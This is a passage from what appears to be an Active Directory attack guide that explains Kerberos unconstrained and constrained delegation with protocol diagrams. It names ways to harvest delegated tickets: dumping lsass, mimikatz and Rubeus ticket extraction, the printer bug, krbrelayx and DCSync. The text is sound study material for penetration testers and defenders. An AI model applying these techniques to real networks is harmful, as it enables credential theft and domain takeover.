process<br \/>\n<\/figcaption><\/figure>\n<ol>\n<li>The client request a TGS for the service HTTPwebsrv (a web service in the<br \/>\nwebsrv server), by using its TGT. The HTTPwebsrv service belongs to the user<br \/>\nwebsrv$ (remember that usernames of [[#computer-accounts][computer accounts]] end with =$=).<\/li>\n<li>The KDC checks that the <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/identity\/useraccountcontrol-manipulate-account-properties\">TRUSTED_FOR_DELEGATION<\/a> flag is set for<br \/>\nwebsrv$. Hence, the KDC returns to the client a TGS for HTTPwebsrv that<br \/>\nhas the <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-2.8\">OK-AS-DELEGATE<\/a> flag (and <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-2.6\">FORWARDABLE<\/a>).<\/li>\n<li>The client checks the <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-2.8\">OK-AS-DELEGATE<\/a> flag, that indicates that the service<br \/>\nuses delegation, so it decides to ask to KDC for a <a href=\"https:\/\/tools.ietf.org\/html\/rfc4120#section-2.6\">FORWARDED<\/a> TGT to send to<br \/>\nthe service.<\/li>\n<li>The KDC returns a TGT with the FORWARDED flag set.<\/li>\n<li>The client sends the TGS with the FORWARDED TGT included to websrv to get<br \/>\naccess to the HTTPwebsrv service.<\/li>\n<li>Ocasionally, the HTTPwebsrv needs to impersonate the client to access to the<br \/>\ndatabase service located in dbsrv. So the web service requests a TGS for<br \/>\nMSSQLSvcdbsrv on behalf of the client, by using the received client TGT.<\/li>\n<li>The KDC then returns a TGS for the client to access the MSSQLSvcdbsrv<br \/>\nservice.<\/li>\n<li>Finally, the HTTPwebsrv service uses the TGS to access to MSSQLSvcdbsrv by<br \/>\nimpersonating the client.<\/li>\n<\/ol>\n<p>Probably the most important fact to have in mind is that a any TGS that will be<br \/>\nsend to HTTPwebsrv will contain a TGT from the client. Therefore, if someone<br \/>\ncompromises the websrv server, it will be able to get all those TGTs and use<br \/>\nthem to impersonate any of the clients through a <a href=\"#pass-the-ticket\">Pass the Ticket<\/a> attack.<\/p>\n<p>To retrieve the tickets from a Windows machine (including the delegated TGTs)<br \/>\nthe <a href=\"https:\/\/github.com\/gentilkiwi\/mimikatz\/wiki\/module-~-sekurlsa#tickets\">mimikatz sekurlsa::tickets<\/a> command or <a href=\"https:\/\/github.com\/GhostPack\/Rubeus#dump\">Rubeus dump<\/a> command, could be used.<br \/>\nOther approach is to dump the lsass process with tools like <a href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/procdump\">procdump<\/a>, <a href=\"https:\/\/lolbas-project.github.io\/#\/dump\">sqldumper<br \/>\nor others<\/a>, and extract the tickets offline with mimikatz or <a href=\"https:\/\/github.com\/skelsec\/pypykatz\">pypykatz<\/a>.<\/p>\n<p>But remember that the TGTs are included in all TGSs for the services of the<br \/>\naccount that has the <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/identity\/useraccountcontrol-manipulate-account-properties\">UserAccountControl<\/a> TRUSTED_FOR_DELEGATION flag set.<br \/>\nTherefore in the previous example, where websrv$ computer account was the owner<br \/>\nof the HTTPwebsrv service, any TGS requested for any other service of websrv$,<br \/>\nlike for example, CIFSwebsrv (to access <a href=\"#shares\">SMB shares<\/a>), will also contain the<br \/>\nclient TGT.<\/p>\n<p>In order to identity accounts with unconstrained delegation you can use the<br \/>\nfollowing LDAP filter:<\/p>\n<pre><code data-lang=\"ldap\">(UserAccountControl:1.2.840.113556.1.4.803:=524288)<\/code><\/pre>\n<p>In order to find Unconstrained Delegation accounts, you can use tools like<br \/>\n<a href=\"https:\/\/github.com\/EmpireProject\/Empire\/blob\/master\/data\/module_source\/situational_awareness\/network\/powerview.ps1\">Powerview<\/a> , <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/findDelegation.py\">impacket findDelegation.py<\/a> script, the <a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/module\/addsadministration\/?view=win10-ps\">Powershell ActiveDirectory<br \/>\nmodule<\/a> or <a href=\"https:\/\/linux.die.net\/man\/1\/ldapsearch\">ldapsearch<\/a>.<\/p>\n<p>Therefore, if you compromise a server whose account has unconstrained<br \/>\ndelegation, then you can harvest the TGTs of all the clients that connect to it.<br \/>\nYou can use several phising techniques to make that users connect to your server<br \/>\nlike crafting files that connects to your compromise machine to get Kerberos<br \/>\nTGTs, similar to the techniques used to get <a href=\"#ntlm-hashes-cracking\">NTLM hashes to crack<\/a>.<\/p>\n<p>Moreover you can obtain the TGT of a computer account by forcing it to<br \/>\nconnect to you server with <a href=\"https:\/\/www.slideshare.net\/harmj0y\/derbycon-the-unintended-risks-of-trusting-active-directory\/41\">the printer bug<\/a>. The printer bug uses <a href=\"https:\/\/posts.specterops.io\/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1#a2e6\">an RPC call<\/a><br \/>\nof the <a href=\"#rpc-over-smb\">RPRN RPC interface<\/a> that allows to any &#8220;<a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/identity\/security-identifiers-in-windows\">Authenticated Users<\/a>&#8221; to indicate<br \/>\nto the target computer a server to connect through SMB.<\/p>\n<p>To trigger the printer bug you can use the <a href=\"https:\/\/github.com\/leechristensen\/SpoolSample\">SpoolSample<\/a> tool or the <a href=\"https:\/\/github.com\/dirkjanm\/krbrelayx\/blob\/master\/printerbug.py\">printerbug.py<\/a><br \/>\nscript. Moreover, you can scan for computers that have the spool service enabled<br \/>\n(by default it is) with the <a href=\"https:\/\/github.com\/vletoux\/SpoolerScanner\">SpoolerScan.ps1<\/a> script.<\/p>\n<p>Besides, to monitor for the apparition of TGTs you can use the<br \/>\n<a href=\"https:\/\/github.com\/GhostPack\/Rubeus#monitor\">Rubeus monitor<\/a> command.<\/p>\n<p>Additionally, it is also possible to <a href=\"https:\/\/dirkjanm.io\/krbrelayx-unconstrained-delegation-abuse-toolkit\/\">recollect TGTs without touching the<br \/>\ncompromised servers<\/a>.<\/p>\n<p>For this, we need to modify the SPNs of the unconstrained delegation account we<br \/>\nhave compromised. The bad news is that we need the <a href=\"https:\/\/docs.microsoft.com\/en-gb\/windows\/win32\/adschema\/r-validated-spn\">Validated-SPN<\/a> permission to<br \/>\ndo that, and by default is not granted to the own account. However, in the case<br \/>\nof computers accounts, they can add by default SPNs that matches with <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-adts\/28ca4eca-0e0b-4666-9175-a37ccb8edada?redirectedfrom=MSDN\">theirs<br \/>\nhostnames<\/a>, which fortunately includes hostnames added to the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-ada2\/f59801d8-7b65-495c-b853-fc9e47e606f4\">msDS-AdditionalDnsHostName<\/a>, that can be modified by the account itself. Then we<br \/>\ncan add as new hostname the hostname of our machine, and create thus SPNs that<br \/>\npoints to our machine. We can do this with <a href=\"https:\/\/github.com\/dirkjanm\/krbrelayx\/blob\/master\/addspn.py\">addspn.py<\/a>. Also we can add SPNs with<br \/>\nthe <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-r2-and-2012\/cc731241(v=ws.11)\">setspn<\/a> utility.<\/p>\n<p>In order to make a hostname to point to our machine we can create a <a href=\"https:\/\/blog.netspi.com\/exploiting-adidns\/\">custom<br \/>\nADIDNS record<\/a> by using <a href=\"https:\/\/github.com\/Kevin-Robertson\/Powermad\">Powermad<\/a> or <a href=\"https:\/\/github.com\/dirkjanm\/krbrelayx\/blob\/master\/dnstool.py\">dnstool.py<\/a>.<\/p>\n<p>Then, we can use the printer bug or phising techniques to make the users<br \/>\nauthenticate against our server. Finally, to recollect the TGTs we can use<br \/>\n<a href=\"https:\/\/github.com\/dirkjanm\/krbrelayx\">krbrelayx<\/a>.<\/p>\n<p>A very interesting case that allows to compromise the domain is to execute the<br \/>\n<a href=\"https:\/\/www.ired.team\/offensive-security-experiments\/active-directory-kerberos-abuse\/domain-compromise-via-dc-print-server-and-kerberos-delegation\">printer bug against a DC<\/a> to make it to connect to our compromised server. This<br \/>\nway you can get a TGT for the DC account and using it to launch a <a href=\"https:\/\/adsecurity.org\/?p=1729\">DCSync attack<\/a>.<\/p>\n<h6 id=\"kerberos-unconstrained-delegation-across-forests\">\nKerberos Unconstrained Delegation across forests<\/h6>\n<p>In fact, this technique can also be used <a href=\"https:\/\/www.harmj0y.net\/blog\/redteaming\/not-a-security-boundary-breaking-forest-trusts\/\">across bidirectional forest trusts<\/a> that<br \/>\nhave TGT delegation enabled, in order to compromise another forest. Usually, TGT<br \/>\ndelegation used to be enabled by default, but <a href=\"https:\/\/support.microsoft.com\/en-us\/help\/4490425\/updates-to-tgt-delegation-across-incoming-trusts-in-windows-server\">Microsoft issued a patch<\/a> that<br \/>\nmakes that <strong>TGT delegation disabled by default<\/strong>.<\/p>\n<p>The following sequence described the Kerberos messages involved in the printer<br \/>\nbug attack across domains in case of TGT delegation being enabled. The attacker<br \/>\nsends a RPC call from barsrv to foosrv to indicate to this last one to connect<br \/>\nto udbarsrv, which has unconstrained delegation. Once done, a TGT of foosrv$<br \/>\n(the domain user of foosrv) can be obtained in udbarsrv.<\/p>\n<p>The steps are the following:<\/p>\n<figure>\n<pre>   .--1) TGS-REQ----------------&gt;  .---. &lt;-------8) TGS-REQ----------------.\n   |  + SPN: cifs\/foosrv          \/   \/|   + SPN: cifs\/udbarsrv            | \n   |                             .---. |   + TGT foosrv$ &gt; bar.com         |\n   |                             |   | '                                   |\n   | .------2) TGS-REP---------&lt; |   |\/  &gt;-------9) TGS-REP--------------. |\n   | | + TGT barsrv$ &gt; foo.com   '---'    + TGS foosrv$ &gt; cifs\/udbarsrv  | |\n   | |                           KDC        - OK-AS-DELEGATE             | |\n   | |                          bar.com                                  | |\n   ^ v                                                                   | |\n   .---.                                                                 | |\n  \/   \/|  RpcRemoteFindFirstPrinterChangeNotification -&gt; udbarsrv        | |\n .---. | ---------5) AP-REQ -------------------------------------------. | |\n |   | '      + TGS barsrv$ &gt; cifs\/foosrv                              | | |\n |   |\/                                                                | | |\n '---'                                                                 | | |\n barsrv      .---.                                                     | | |\n ^ v        \/   \/| &lt;-------12) AP-REQ--------------------.             | | |\n | |       .---. |     + TGS foosrv$ &gt; cifs\/udbarsrv     |             | | |\n | |       |   | '     + TGT foosrv$                     |             | | |\n | |       |   |\/        - FORWARDED                     |             v v ^\n | |       '---'                                         '-----------&lt; .---.\n | |      udbarsrv                 .--6) TGS-REQ--------------------&lt; \/   \/|\n | |                               |  + SPN: cifs\/udbarsrv           .---. |\n | |                               |                                 |   | '\n | |                               |  .----7) TGS-REP--------------&gt; |   |\/ \n | |                               |  |  + TGT foosrv$ &gt; bar.com     '---'  \n | |                               v  ^    - OK-AS-DELEGATE          foosrv\n | |                               .---.                              v ^\n | '-------3) TGS-REQ-----------&gt; \/   \/|                              | |\n |      + SPN: cifs\/foosrv       .---. |&lt;-----10) TGS-REQ-------------' |\n |      + TGT barsrv$ &gt; foo.com  |   | '  + SPN: krbtgt\/foo.com         |\n |                               |   |\/                                 |\n '--------4) TGS-REP-----------&lt; '---'  &gt;-----11) TGS-REP---------------'\n   + TGS barsrv$ &gt; cifs\/foosrv    KDC       + TGT foosrv$ \n                                 foo.com      - FORWARDED\n<\/pre><figcaption>\nKerberos messages in printer bug across domains (delegation enabled)<br \/>\n<\/figcaption><\/figure>\n<ol>\n<li>barsrv (of the bar.com domain) sends a TGS-REQ to the <code>bar.com<\/code> KDC asking for<br \/>\na TGS for the SMB service (cifs) of foosrv (since the printer bug uses<br \/>\n<a href=\"#rpc-over-smb\">RPC over SMB<\/a>).<\/li>\n<li>The bar.com KDC checks that the requested service is in the trusting domain<br \/>\n<code>foo.com<\/code> and issues a TGT for barsrv$ for that domain.<\/li>\n<li>Then barsrv uses its TGT for <code>foo.com<\/code> to ask to the <code>foo.com<\/code> KDC for a TGS<br \/>\nfor cifs\/foosrv service.<\/li>\n<li>The <code>foo.com<\/code> KDC returns then a TGS for barsrv$ for cifs\/foosrv.<\/li>\n<li>Then barsrv authenticates against foosrv and performs the printer bug call,<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-rprn\/b8b414d9-f1cd-4191-bb6b-87d09ab2fd83\">RpcRemoteFindFirstPrinterChangeNotification<\/a>, indicating to foosrv (of<br \/>\n<code>foo.com<\/code> domain) to connect to udbarsrv server (of <code>bar.com<\/code> domain) by<br \/>\nusing <a href=\"#rpc-over-smb\">SMB<\/a>.<\/li>\n<li>foosrv asks the <code>foo.com<\/code> KDC for a TGS for the SMB service of udbarsrv<br \/>\n(cifs\/udbarsrv).<\/li>\n<li>The <code>foo.com<\/code> KDC checks that the requested service is in the trusting domain<br \/>\n<code>bar.com<\/code> and issues a TGT for foosrv$ for that domain. This TGT includes the<br \/>\nOK-AS-DELEGATE flag, that indicates that TGT delegation is enabled for<br \/>\n<code>bar.com<\/code> from <code>foo.com<\/code>.<\/li>\n<li>Next, foosrv uses the new TGT to ask the <code>bar.com<\/code> KDC for a TGS for<br \/>\ncifs\/udbarsrv.<\/li>\n<li>The <code>bar.com<\/code> KDC returns a TGS for foosrv$ for cifs\/udbarsrv. This TGS has<br \/>\nthe OK-AS-DELEGATE flag set, that indicates that the services uses<br \/>\nunconstrained delegation.<\/li>\n<li>Thus, foosrv checks that cifs\/udbarsrv uses delegation and the <code>bar.com<\/code><br \/>\ndelegation is allowed, so it asks to the <code>foo.com<\/code> KDC for a forwarded TGT.<\/li>\n<li>The <code>foo.com<\/code> KDC returns a TGT for the user foosrv$ to the foosrv server.<\/li>\n<li>Finally, the foosrv connects to udbarsrv and authenticates including its own<br \/>\nTGT. Now, an attacker in this machine can recollect the TGT and use it to<br \/>\naccess to foosrv.<\/li>\n<\/ol>\n<p>In this example, barsrv and udbarsrv are different servers to show that they<br \/>\ncan be different machines, but the printer bug also could be used to indicate to<br \/>\nreconnect to the same machine that performs the RPC call. Moreover, also the KDCs<br \/>\ncould be the servers that perform or receive the printer bug call. In this<br \/>\nexample, many different machines were used in order to present the different<br \/>\nKerberos messages and roles in the attack.<\/p>\n<p>In this respect, it is important to know that DCs (KDCs) have unconstrained<br \/>\ndelegation enabled, so compromise a domain DC could lead to compromise the other<br \/>\nforests with bidirectional trusts that have TGT delegation enabled.<\/p>\n<h5 id=\"kerberos-constrained-delegation\">\nKerberos Constrained Delegation<\/h5>\n<p>As we have seen, Unconstrained Delegation can be a dangerous thing, since it<br \/>\nallows to completely impersonate a client. So in order to create a more<br \/>\nrestrictive delegation mechanism, Microsoft develop two Kerberos extensions<br \/>\nknown as <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-sfu\/3bff5864-8135-400e-bdd9-33b552051d94\">Service for User<\/a> (S4U):<\/p>\n<ul>\n<li>Service for User to Proxy (S4U2proxy)<\/li>\n<li>Service for User to Self (S4U2self)<\/li>\n<\/ul>\n<p>By using these extensions, services can be restricted to only perform delegation<br \/>\nagainst a set of allowed third-services, and no user TGT is required, preventing<br \/>\nit from being stored on the service server. This is known as constrained<br \/>\ndelegation.<\/p>\n<h6 id=\"s4u2proxy\">\nS4U2proxy<\/h6>\n<p>The S4U2proxy (Service for User to Proxy) extension allows a service to ask a<br \/>\nTGS for another service on behalf of the client by using the client TGS that was<br \/>\nsent to the service, instead of client TGT.<\/p>\n<p>Moreover, unlike unconstrained delegation, a service can only ask for an<br \/>\nimpersonation TGS for certain whitelisted services. The allowed services are<br \/>\ndefined by the following attributes:<\/p>\n<ul>\n<li>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-ada2\/86261ca1-154c-41fb-8e5f-c6446e77daaa\">msDS-AllowedToDelegateTo<\/a> attribute of the service user account contains a<br \/>\nlist of SPNs (services) for which it (and its services) can ask a TGS on<br \/>\nbehalf of the client. This <strong>list of services<\/strong> is used in the classic<br \/>\nConstrained Delegation. In order to modify msDS-AllowedToDelegateTo, the<br \/>\n<a href=\"https:\/\/www.harmj0y.net\/blog\/activedirectory\/the-most-dangerous-user-right-you-probably-have-never-heard-of\/\">SeEnableDelegationPrivilege<\/a> is required.<\/li>\n<li>The service user account is listed in the in the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-ada2\/cea4ac11-a4b2-4f2d-84cc-aebb4a4ad405\">msDS-AllowedToActOnBehalfOfOtherIdentity<\/a> attribute of the target service user<br \/>\naccount. This <strong>list of users<\/strong> is used in Resource Based Constrained Delegation<br \/>\n(RBCD).<\/li>\n<\/ul>\n<p>The following commands (made with <a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/module\/addsadministration\/?view=win10-ps\">ActiveDirectory module<\/a> of Powershell) show<br \/>\nexamples of these attributes:<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:UsersAdministrator&gt; get-aduser mahyar -Properties msDS-AllowedToDelegateTo\nDistinguishedName        : CN=mahyar,CN=Users,DC=contoso,DC=local\nmsDS-AllowedToDelegateTo : {HTTP\/webserver, HTTP\/webserver.contoso.local}\nSamAccountName           : mahyar\nSID                      : S-1-5-21-1372086773-2238746523-2939299801-1103\nUserPrincipalName        : mahyar@contoso.local<\/code><\/pre><figcaption>\nExample of msDS-AllowedToDelegateTo<br \/>\n<\/figcaption><\/figure>\n<p>Here, the services of user mahyar are allowed to perform delegation against the<br \/>\n&#8220;HTTP\/webserver&#8221; service. Therefore, mahyar can impersonate any user (except the<br \/>\n<a href=\"#kerberos-anti-delegation-measures\">protected ones<\/a>) against &#8220;HTTP\/webserver&#8221;.<\/p>\n<pre>msDS-AllowedToDelegateTo                .---.\n                                       \/   \/|\n         o\/      delegate to         .---. |\n          |  -----------------------&gt; |   | '\n         \/                           |   |\/ \n        Anakn                         '---'  \n                                    HTTP\/webserver\n<\/pre>\n<p>Moreover, since it is possible to <a href=\"https:\/\/www.secureauth.com\/blog\/kerberos-delegation-spns-and-more\/\">change the target service<\/a> of a ticket, mahyar<br \/>\ncould ask for a ticket for &#8220;HTTP\/webserver&#8221; on behalf of the client and change<br \/>\nthe target service to any service of the owner of &#8220;HTTP\/webserver&#8221;, since all<br \/>\nthese services TGSs will be encrypted with the same <a href=\"#kerberos-keys\">Kerberos key<\/a>.<\/p>\n<p>For example, if the user of &#8220;HTTP\/webserver&#8221; is webserver$ (the user account of<br \/>\nthe webserver computer), then mahyar could ask a ticket for &#8220;HTTP\/webserver&#8221; on<br \/>\nbehalf of a client, and use this ticket to access to the SMB service of the<br \/>\nwebserver by changing the target service to &#8220;cifs\/webserver&#8221;. This way, mahyar<br \/>\ncan have access to the webserver by impersonating the client.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:UsersAdministrator&gt; get-aduser han -Properties PrincipalsAllowedToDelegateToAccount,msDS-AllowedToActOnBehalfOfOtherIdentity\nDistinguishedName                        : CN=Han,CN=Users,DC=contoso,DC=local\nEnabled                                  : True\nGivenName                                : Han\nmsDS-AllowedToActOnBehalfOfOtherIdentity : System.DirectoryServices.ActiveDirectorySecurity\nName                                     : Han\nObjectClass                              : user\nObjectGUID                               : 356a7fb7-6cc0-4e09-a77f-b64e1677f2a8\nPrincipalsAllowedToDelegateToAccount     : {CN=mahyar,CN=Users,DC=contoso,DC=local}\nSamAccountName                           : han\nSID                                      : S-1-5-21-1372086773-2238746523-2939299801-1109\nSurname                                  :\nUserPrincipalName                        : han@contoso.local<\/code><\/pre><figcaption>\nExample of msDS-AllowedToActOnBehalfOfOtherIdentity<br \/>\n<\/figcaption><\/figure>\n<blockquote><p>Since msDS-AllowedToActOnBehalfOfOtherIdentity value is a <a href=\"#security-descriptor\">security descriptor<\/a><br \/>\nwith a <a href=\"https:\/\/www.gabescode.com\/active-directory\/2019\/07\/25\/nt-security-descriptors.html\">binary format<\/a>, you need to request the property<br \/>\nPrincipalsAllowedToDelegateToAccount, that prints this data in a human friendly<br \/>\nformat<\/p><\/blockquote>\n<p>On the other hand, by checking the msDS-AllowedToActOnBehalfOfOtherIdentity of<br \/>\nthe Han user, we discover that it allows the mahyar user perform delegation<br \/>\nagainst all of its services.<\/p>\n<p>Therefore, mahyar can impersonate any user (except the <a href=\"#kerberos-anti-delegation-measures\">protected ones<\/a>) against<br \/>\nany service of the Han user.<\/p>\n<pre>                         msDS-AllowedToActOnBehalfOfOtherIdentity\n  o\/           delegate to                o\n   |   --------------------------------&gt;  \/| \n  \/                                      \/ \n mahyar                                   Han\n<\/pre>\n<p>Additionally, the KDC also checks another parameters to determine the result of<br \/>\na S4U2proxy request. It also takes into account if the client TGS is FORWARDABLE<br \/>\nand if the <a href=\"#kerberos-anti-delegation-measures\">client is protected<\/a> against delegation. You can check the rules in the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-sfu\/c6f6f8b3-1209-487b-881d-d0908a413bb7\">MS-SFU specification<\/a>. As a summary, the rules are the following:<\/p>\n<ol>\n<li>If not valid <a href=\"#pass-the-ticket\">Ticket Signature in PAC<\/a> of client TGS =&gt; return error<br \/>\nKRB-AP-ERR-MODIFIED.<\/li>\n<li>If client TGS is not FORWARDABLE and client is protected =&gt; return error<br \/>\nKRB-ERR-BADOPTION &#8211; STATUS-ACCOUNT-RESTRICTED.<\/li>\n<li>If client TGS is not FORWARDABLE and target_service in ms-AllowedToDelegateTo<br \/>\n=&gt; return error KRB-ERR-BADOPTION &#8211; STATUS-ACCOUNT-RESTRICTED. (This one was<br \/>\ndiscovered by experimenting)<\/li>\n<li>If client TGS FORWARDABLE and target_service in ms-AllowedToDelegateTo =&gt;<br \/>\nreturn S4U2proxy TGS.<\/li>\n<li>If service user in target_service user<br \/>\nmsDS-AllowedToActOnBehalfOfOtherIdentity =&gt; return S4U2proxy TGS.<\/li>\n<\/ol>\n<p>One curious thing to note is that it is possible to retrieve a <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#serendipity\">S4U2proxy TGS<br \/>\nfrom a non FORWARDABLE client TGS<\/a> by using Resource Based Constrained<br \/>\nDelegation (msDS-AllowedToActOnBehalfOfOtherIdentity). Except in the case that<br \/>\nthe target service is also listed in ms-AllowedToDelegateTo (rule 3), where an<br \/>\nerror will be returned.<\/p>\n<p>Besides, prior to <a href=\"#pass-the-ticket\">PAC Ticket Signature<\/a> check implementation, it was possible for<br \/>\na service user to <a href=\"https:\/\/blog.netspi.com\/cve-2020-17049-kerberos-bronze-bit-theory\/\">modify the client TGS<\/a> (since it was encrypted with its<br \/>\nKerberos key) and make it FORWARDABLE. However, Microsoft introduced this Ticket<br \/>\nSignature in the PAC (signed by the KDC key) to verify that TGS was not<br \/>\ntampered.<\/p>\n<p>Moreover, you can notice that <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#a-forwardable-result\">S4U2proxy returns forwardable tickets<\/a>. (Even if the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-sfu\/ce6bbf34-0f11-40d6-93d1-165a3afa0223\">specification has been updated<\/a> since Elad Shamir pointed out this fact, it seems<br \/>\nthat this is still correct, at least from my experiments.)<\/p>\n<p>Let&#8217;s now view an example of the S4U2proxy process:<\/p>\n<figure>\n<pre>                KDC\n                .---. &lt;-----2) TGS-REQ--------------------.\n               \/   \/|    + SPN: MSSQLSvc\/dbsrv            |\n              .---. |    + TGT websrv$                    |\n              |   | '    + TGS client &gt; http\/websrv       |\n              |   |\/                                      |\n              '---'  &gt;-----3) TGS-REP------------------.  |\n                       + TGS client &gt; MSSQLSvc\/dbsrv   v  ^\n                                                      .---.\n  ____                                               \/   \/|\n |    | &gt;-----------1) AP-REQ---------------------&gt; .---. |\n |____|     + TGS client &gt; http\/websrv              |   | '\n \/::::\/                                             |   |\/ \n client                                             '---'  \n                                                    websrv\n                .---.                                  v\n               \/   \/|                                  |\n              .---. |&lt;-----4) AP-REQ-------------------'\n              |   | '   + TGS client &gt; MSSQLSvc\/dbsrv\n              |   |\/ \n              '---'  \n              dbsrv\n<\/pre><figcaption>\nS4U2proxy process<br \/>\n<\/figcaption><\/figure>\n<ol>\n<li>The client authenticates against the web server service (http\/websrv) by<br \/>\nsending a TGS.<\/li>\n<li>Later, when the web server (http\/websrv) needs to access to the database<br \/>\nservice (MSSQLSvc\/dbsrv) on behalf of the client, it asks for a TGS for<br \/>\nMSSQLSvc\/dbsrv by using the client TGS, and its own TGT.<\/li>\n<li>The KDC checks that the service user websrv$ is allowed to ask delegation<br \/>\ntickets for MSSQLSvc\/dbsrv by following the previous discussed rules and<br \/>\nreturns the client TGS for MSSQLSvc\/dbsrv. To sum up, usually one of these<br \/>\nconditions should be meet:<\/p>\n<ol>\n<li>MSSQLSvc\/dbsrv is included in the msDS-AllowedToDelegateTo attribute of<br \/>\nwebsrv$ (the service user of the web server). This is classic Constrained<br \/>\nDelegation.<\/li>\n<li>websrv$ is included in the msDS-AllowedToActOnBehalfOfOtherIdentity<br \/>\nattribute of dbsrv$ (the service user of the MSSQLSvc\/dbsrv service). This<br \/>\nis Resource Based Constrained Delegation.<\/li>\n<\/ol>\n<\/li>\n<li>The web service uses the recently acquired TGS to authenticate itself against<br \/>\nthe database by impersonating the client.<\/li>\n<\/ol>\n<p>Moreover, it also possible to use S4U2proxy across domains, however, in this<br \/>\ncase <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/security\/kerberos\/kerberos-constrained-delegation-overview#resource-based-constrained-delegation-across-domains\">only Resource Based Constrained Delegation can be used<\/a>.<\/p>\n<figure>\n<pre>                                                  KDC foo.com\n       .--------------1) TGS-REQ-------------------&gt; .---.\n       |          + SPN: MSSQLSvc\/dbsrv.bar.com     \/   \/|\n       |          + TGT websrv$ &gt; foo.com          .---. |\n       |          + TGS client &gt; http\/websrv       |   | '\n       |                                           |   |\/ \n       |   .----2) TGS-REP-----------------------&lt; '---'  \n       |   |  + TGT websrv$ (client) &gt; bar.com     ^   v\n       ^   v                                       |   |\n        .---.                                      |   |\n       \/   \/| &gt;----3) TGS-REQ----------------------'   |\n      .---. |      + SPN: krbtgt\/bar.com               |\n      |   | '      + TGT websrv$ &gt; foo.com             |\n      |   |\/                                           |\n      '---'   &lt;-----4) TGS-REP-------------------------'\n      websrv        + TGT websrv$ &gt; bar.com                      .---.\n    (foo.com)                                                   \/   \/|\n      ^  v  v                                                  .---. |\n      |  |  '-------------7) AP-REQ--------------------------&gt; |   | '\n      |  |          + TGS client &gt; MSSQLSvc\/dbsrv.bar.com      |   |\/ \n      |  |                                                     '---'  \n      |  '-------5) TGS-REQ-----------------------&gt; .---.      dbsrv\n      |      + SPN: MSSQLSvc\/dbsrv.bar.com         \/   \/|    (bar.com)\n      |      + TGT websrv$ &gt; bar.com              .---. |\n      |      + TGT websrv$ (client) &gt; bar.com     |   | '\n      |                                           |   |\/ \n      '---6) TGS-REP----------------------------&lt; '---'  \n        + TGS client &gt; MSSQLSvc\/dbsrv.bar.com   KDC bar.com\n<\/pre><figcaption>\nS4u2proxy across domains<br \/>\n<\/figcaption><\/figure>\n<ol>\n<li>We assume that client already sends its TGS to an websrv service. Then websrv<br \/>\nneeds to access to the database service MSSQLSvc\/dbsrv on behalf of the user.<\/li>\n<li>websrv ask for a TGS for MSSQLSvc\/dbsrv on behalf of the client, by including<br \/>\nits own TGS.<\/li>\n<li>The KDC examines the request and determines that the asked service is in<br \/>\n<code>bar.com<\/code> so it returns an special inter-realm TGT for asking S4U2proxy to<br \/>\nthe <code>bar.com<\/code> KDC.<\/li>\n<li>websrv inspects the response and discovers this special inter-realm TGT for<br \/>\nS4U2proxy. But it also needs a normal inter-realm TGT for <code>bar.com<\/code>, so it<br \/>\nasks for one to the KDC.<\/li>\n<li>The KDC returns a inter-realm TGT to <code>bar.com<\/code> for websrv$.<\/li>\n<li>Then websrv$ uses these inter-realm TGTs to ask the <code>bar.com<\/code> KDC for a TGS for<br \/>\nMSSQLSvc\/dbsrv in behalf of the client.<\/li>\n<li>The KDC examines the requests and determines that websrv$ is allowed to<br \/>\ndelegate to MSSQLSvc\/dbsrv service (using RBCD), so it issues a TGS for<br \/>\nMSSQLSvc\/dbsrv.<\/li>\n<li>websrv uses this new TGS to access MSSQLSvc\/dbsrv service on behalf of the<br \/>\nclient.<\/li>\n<\/ol>\n<h6 id=\"s4u2self\">\nS4U2self<\/h6>\n<p>The Kerberos S4U2self extension allows a service to request a ticket on behalf<br \/>\nof the user for itself, that can be used then in S4U2proxy. This is done in<br \/>\norder to allow to perform Kerberos delegation for those client that doesn&#8217;t<br \/>\nsupport the Kerberos protocol. It is also known as protocol transition.<\/p>\n<p>In order to be able to use S4U2self, the KDC checks the <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/identity\/useraccountcontrol-manipulate-account-properties\">UserAccountControl<\/a><br \/>\nTRUSTED_TO_AUTH_FOR_DELEGATION flag of the service user account. In order to<br \/>\nmodify this flag, the <a href=\"https:\/\/www.harmj0y.net\/blog\/activedirectory\/the-most-dangerous-user-right-you-probably-have-never-heard-of\/\">SeEnableDelegationPrivilege<\/a> is required.<\/p>\n<p>Additionally, the KDC also checks the if service user has any services and the<br \/>\nvalue of the <a 